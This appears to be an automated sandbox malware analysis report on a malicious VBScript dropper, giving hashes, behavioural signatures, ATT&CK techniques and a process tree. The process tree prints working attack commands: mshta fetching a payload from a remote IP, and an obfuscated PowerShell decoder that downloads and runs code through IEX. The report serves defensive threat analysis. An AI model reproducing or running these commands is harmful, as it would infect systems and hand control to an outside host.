6b235c95eed670e95d5d6a62ce5cb81207cfa20f7c677c715a3fee9297810e3d

General

Target

KTROWQANB.vbs
Size

6KB
MD5

ae14df44e1c761f6ffd4f775e9c890dd
SHA1

53960358beadf51da65921775f40d63770834ff0
SHA256

6b235c95eed670e95d5d6a62ce5cb81207cfa20f7c677c715a3fee9297810e3d
SHA512

c919b3c70f986095dc0eaf2004a54c28766e77e4398b09697c11dee80c6d5325f0c6570fb57a2df894daf0714552dfb1638c99d8c5e77142d811d5b958440ce4

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://54.235.58.2/2/Ps1HDF.txt

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

msHta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 560 988 msHta.exe
Blocklisted process makes network request 1 IoCs

Processes:

msHta.exe

flow pid process

4 560 msHta.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	560	988	msHta.exe

flow	pid	process
4	560	msHta.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

msHta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main msHta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2000 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2000 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	msHta.exe

pid	process
2000	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2000	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

msHta.exe

description	pid	process	target process
PID 560 wrote to memory of 2000	560	msHta.exe	powershell.exe
PID 560 wrote to memory of 2000	560	msHta.exe	powershell.exe
PID 560 wrote to memory of 2000	560	msHta.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\KTROWQANB.vbs"
1⤵
PID:1264

C:\Windows\system32\msHta.exe
msHta.exe HttP://54.235.58.2/2/EncDJDJJD.txt
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'http://54.235.58.2/2/Ps1HDF.txt';Function RRBP([string] $KUFB) {$sFKU = [system.Collections.Generic.list[Byte]]::new();for ($AHYV = 0; $AHYV -lt $KUFB.lengtH; $AHYV +=8) {$sFKU.Add([Convert]::ToByte($KUFB.substring($AHYV, 8), 2))}return [system.Text.encoding]::AsCII.Getstring($sFKU.ToArray())};$eZHV = RRBP 'OWUT1OWUT11OWUT11OWUT111OWUTOWUT11OWUT111OWUT1OWUTOWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUT1OWUTOWUT1OWUT1OWUTOWUT111OWUTOWUT1OWUTOWUTOWUT111OWUT1OWUT111OWUT1OWUTOWUT111OWUT1OWUTOWUTOWUT111OWUT1OWUTOWUT11OWUT1OWUT1OWUTOWUT11OWUT1111OWUT1OWUTOWUT1OWUTOWUT1OWUT11OWUT111OWUTOWUTOWUT1OWUT1OWUTOWUTOWUTOWUTOWUT1OWUTOWUT111OWUTOWUT1OWUTOWUT111OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUT1OWUTOWUTOWUTOWUTOWUT1OWUT1OWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT11OWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUT1OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT11OWUT111OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUTOWUTOWUTOWUT11OWUTOWUT1OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT111OWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT11OWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT11OWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT11OWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT11OWUT111OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUTOWUTOWUTOWUT11OWUT11OWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT111OWUTOWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT111OWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT111OWUTOWUT1OWUTOWUT111OWUTOWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUT11OWUTOWUT11OWUTOWUT11OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT111OWUTOWUT11OWUT111OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUTOWUT1OWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUT11111OWUTOWUTOWUT1OWUTOWUTOWUT11OWUTOWUT1OWUTOWUT1111OWUT1OWUT1OWUTOWUT1OWUTOWUT11OWUTOWUT1OWUT1OWUT11OWUTOWUTOWUTOWUT1OWUT11OWUTOWUTOWUT11OWUT11OWUT1OWUTOWUTOWUTOWUT1111OWUT11OWUT1OWUT11OWUT11OWUT1OWUTOWUTOWUTOWUT11OWUT11OWUT1OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUT1OWUT111OWUTOWUT1OWUTOWUT1OWUT111OWUT1OWUTOWUT1OWUT1OWUTOWUTOWUTOWUTOWUT1OWUTOWUT1OWUTOWUTOWUT1OWUT11111OWUTOWUT1OWUT11OWUT1OWUT1OWUTOWUTOWUTOWUT1OWUTOWUT1111OWUTOWUTOWUTOWUT1OWUTOWUT1111OWUT1OWUT1OWUTOWUT1OWUTOWUTOWUT1OWUTOWUT111OWUTOWUT11OWUTOWUTOWUTOWUTOWUT1111OWUTOWUTOWUTOWUTOWUT11OWUTOWUTOWUTOWUTOWUTOWUT11OWUT1OWUT1OWUTOWUT1OWUTOWUT111OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT1OWUTOWUT1OWUT11111OWUT1OWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUT11111OWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT111OWUTOWUTOWUT1OWUT1OWUTOWUTOWUTOWUTOWUT1OWUTOWUTOWUTOWUTOWUTOWUTOWUT1OWUT1OWUTOWUTOWUTOWUT1OWUT11OWUT11OWUT1OWUT1OWUTOWUT11OWUT1OWUT1OWUT1OWUTOWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUT1OWUTOWUT1OWUT11OWUT111OWUTOWUT11OWUTOWUT111OWUT1OWUT111OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUTOWUT111OWUT11OWUTOWUT11OWUTOWUT1OWUT1OWUT1OWUT1OWUTOWUT1OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT11OWUT1111OWUT1OWUT1OWUTOWUT11OWUT11OWUTOWUT1OWUT1OWUT111OWUTOWUTOWUTOWUTOWUT1OWUT1OWUTOWUT1OWUTOWUT1OWUTOWUTOWUT1OWUT1OWUT1OWUTOWUTOWUT11OWUTOWUT11OWUTOWUT1OWUT1OWUT1OWUT1OWUTOWUT1OWUTOWUT11OWUTOWUT1OWUT1OWUT11OWUT111OWUTOWUT1OWUTOWUTOWUTOWUT11OWUT1OWUTOWUTOWUT1OWUT1OWUTOWUT1OWUT1OWUTOWUT1OWUT1OWUT11OWUT11OWUTOWUT11OWUTOWUTOWUT1OWUTOWUT1OWUT11OWUTOWUTOWUTOWUT11OWUTOWUT11OWUT1OWUT111OWUT1OWUTOWUT1OWUT1OWUT11OWUTOWUT1OWUTOWUT111OWUT1OWUT11OWUTOWUTOWUTOWUTOWUT1OWUTOWUT111OWUTOWUT1OWUT11OWUT1OWUT11OWUT1OWUT1OWUTOWUT11OWUT1111OWUT11OWUT1OWUTOWUT1OWUT11OWUT111OWUTOWUTOWUT1OWUTOWUT111OWUTOWUT1OWUTOWUT111OWUTOWUT1OWUT1OWUTOWUT1'.RePlace('OWUT','0');IeX $eZHV
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/560-55-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

Filesize
8KB

Download
memory/2000-57-0x000007FEEE800000-0x000007FEEF35D000-memory.dmp

Filesize
11.4MB

Download
memory/2000-58-0x000007FEF381E000-0x000007FEF381F000-memory.dmp

Filesize
4KB

Download
memory/2000-59-0x0000000001E10000-0x0000000001E12000-memory.dmp

Filesize
8KB

Download
memory/2000-60-0x0000000001E12000-0x0000000001E14000-memory.dmp

Filesize
8KB

Download
memory/2000-61-0x0000000001E14000-0x0000000001E17000-memory.dmp

Filesize
12KB

Download
memory/2000-62-0x0000000001E1B000-0x0000000001E3A000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing